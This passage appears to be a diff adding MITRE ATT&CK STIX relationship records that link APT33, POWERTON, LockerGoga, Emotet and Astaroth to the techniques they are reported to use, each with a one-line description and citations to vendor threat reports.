"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) has used AES for encrypting C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T17:43:42.931Z", + "id": "relationship--2624fd3f-9282-4080-bace-6a673fd31b9f", + "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "modified": "2019-04-22T19:59:21.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) has used HTTP/HTTPS for C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T17:43:42.942Z", + "id": "relationship--3c98448a-15ec-4a51-8c41-8f1379d2dc0a", + "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "modified": "2019-04-22T19:59:21.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) has used port 443 for C2 traffic. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T17:43:42.943Z", + "id": "relationship--7e0aa4df-1516-426f-8d87-575f53469bd7", + "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "modified": "2019-04-22T19:59:21.566Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T19:00:49.591Z", + "id": "relationship--d80bbf0c-2fb4-4272-a878-65662452d3ca", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-07-25T14:22:27.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed deleting its original launcher after execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T19:00:49.595Z", + "id": "relationship--20904798-df45-48a6-8428-9e4fb913f6ae", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-10-10T12:16:50.240Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has encrypted files, including core Windows OS files, using RSA-OAEP MGF1 and then demanded Bitcoin be paid for the decryption key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T19:00:49.593Z", + "id": "relationship--31daba72-fb27-45a9-9224-991032b605a8", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-10-10T12:16:50.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "source_name": "Unit42 LockerGoga 2019", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + }, + { + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "source_name": "Wired Lockergoga 2019", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed using an encrypted, modified protobuf-based protocol for command and control messaging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T19:29:01.535Z", + "id": "relationship--16ae7818-4467-4954-8203-69017f4bd2ed", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.866Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brandt, A.. (2019, May 5). Emotet 101, stage 4: command and control. Retrieved April 16, 2019.", + "source_name": "Sophos Emotet Apr 2019", + "url": "https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/" + }, + { + "description": "Manea, D.. (2019, May 25). Emotet v4 Analysis. Retrieved April 16, 2019.", + "source_name": "DanielManea Emotet May 2017", + "url": "https://danielmanea.com/category/reverseengineering/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed enumerating local processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T19:29:01.556Z", + "id": "relationship--e39eb7ad-f233-4c22-8707-aaf600f42100", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:30.146Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ASEC. (2017). ASEC REPORT VOL.88. Retrieved April 16, 2019.", + "source_name": "ASEC Emotet 2017", + "url": "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.88_ENG.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used base64 to encode command and control traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:23:24.156Z", + "id": "relationship--e1492807-b520-412b-9df7-105aefc29deb", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.400Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used base64 to encode payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:23:24.189Z", + "id": "relationship--3f29b80a-0444-4664-8faa-58a39de9264e", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used AES for encryption of command and control traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:23:24.204Z", + "id": "relationship--e053cb07-3e4d-41a1-85a6-38cd2ac0e6ea", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.410Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a publicly available exploit for CVE-2017-0213 to escalate privileges on a local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:23:24.206Z", + "id": "relationship--f72d9afb-4eb1-4030-9d91-938f80c4bf6e", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used port 443 for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:23:24.216Z", + "id": "relationship--a7465f73-03b9-4cbb-91fc-4f7afb99553a", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:30:22.931Z", + "id": "relationship--148d82d9-c55b-4ce4-adb2-79387dab01ab", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:34.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:30:22.934Z", + "id": "relationship--6ea02c5b-f60b-4774-a237-fcc3f498a4f5", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:34.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) searches for different processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.688Z", + "id": "relationship--366bf114-ddd3-473a-9468-c82811c6ed70", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.006Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses a software packer called Pe123\\RPolyCryptor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.705Z", + "id": "relationship--3e36bc27-d1c1-4ccd-bf6d-2868843664c8", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.023Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) obfuscates its JScript code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.708Z", + "id": "relationship--23b77b77-e100-4ac2-93b9-b900a04844cd", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.725Z", + "id": "relationship--7dc3f129-9cac-4279-a4d2-b5dbe1237f07", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "\n[Astaroth](https://attack.mitre.org/software/S0373) spawns a CMD process to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.734Z", + "id": "relationship--e5dc402f-9b87-4ceb-b9d4-a0cfdc385603", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and to hide its code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.736Z", + "id": "relationship--383301a1-1cf9-4a74-ab22-2ed1a8c2a42b", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.082Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects information from the clipboard by using the OpenClipboard() and GetClipboardData() libraries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.761Z", + "id": "relationship--29bf3ce1-f531-472f-9825-b990aab2f09c", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.096Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses ActiveX objects for file execution and manipulation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.771Z", + "id": "relationship--e94d140f-9345-48bc-9fb9-f48a117e0739", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses WMIC to execute payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.787Z", + "id": "relationship--a04db303-7ae6-4ecd-a397-f3e964bd6e3c", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.143Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses JavaScript to perform its core functionalities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.805Z", + "id": "relationship--71ec5140-320c-452c-8512-6a787af027c8", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the machine name and keyboard language from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.807Z", + "id": "relationship--29d3798c-dc27-4950-abc4-30b48608a746", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.145Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + }, + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses [certutil](https://attack.mitre.org/software/S0160) and [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.809Z", + "id": "relationship--ad731b3e-709e-49d0-a501-6fe69f78a428", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.196Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + }, + { + "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", + "source_name": "Cybereason Astaroth Feb 2019", + "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) logs keystrokes from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.811Z", + "id": "relationship--6de0bf91-2034-4821-b231-795aa75db97f", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.198Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the external IP address from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17T13:46:38.814Z", + "id": "relationship--86b41c35-ae4d-418b-9409-07e49d3c769d", + "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", + "modified": "2019-09-09T19:23:37.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense Astaroth Sept 2018", + "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", + "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Astaroth](https://attack.mitre.org/software/S0373)'s initial payload is a malicious .LNK file.(Citation :Cybereason Astaroth Feb 2019)", + "created_by_ref": 